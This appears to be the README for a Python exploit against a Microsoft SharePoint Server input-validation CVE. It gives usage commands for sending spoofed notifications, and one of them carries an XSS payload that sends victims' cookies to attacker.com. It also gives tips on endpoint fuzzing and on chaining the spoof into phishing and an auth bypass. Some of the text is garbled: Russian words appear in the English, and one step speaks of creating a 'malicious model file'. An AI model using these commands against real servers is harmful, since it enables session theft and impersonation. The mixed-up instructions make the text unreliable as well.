Overview

Python exploit for CVE-2026-32201 - improper input validation в Microsoft SharePoint Server, allowing unauthenticated network spoofing (C:L/I:L).

• Affected: SharePoint Server 2016 Enterprise, 2019, Subscription Edition < 16.0.19725.20210;
• Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N;
• Impact: View/change sensitive data via spoofed notifications/documents.

Features

1. Fingerprinting SharePoint.
2. Crafted POST for bypass input validation (sender_override).
3. Customizable payload (sender, recipient, subject, message с XSS).
4. Response analysis for verification.

Usage

1. Save it as exploit.py
2. Run it to create a malicious model file:

python3 exploit.py https://sharepoint.target.com \
  --recipient [email protected] \
  --sender "[email protected]" \
  --message "<script>fetch('http://attacker.com/?c='+document.cookie)</script>" \
  --endpoint /_layouts/15/notify.aspx

Output example:

[+] SharePoint detected.
[*] Sending spoofed request to https://target.com/_layouts/15/notify.aspx
[+] Status: 200
[+] Potential success: Check target logs/email for spoofed content.

Customization

• Endpoint fuzzing: ffuf -u https://target.com/FUZZ -w sharepoint-layouts.txt
• XSS payload: Add JS in --message for cookie theft
• Chaining: Spoof → phishing link → auth bypass

Verification

• Success indicators: 200 OK + "sent/success" in response
• Server-side: Check ULS logs/IIS logs for anomalous requests
• Impact: Monitor email/docs за forged sender, test data modification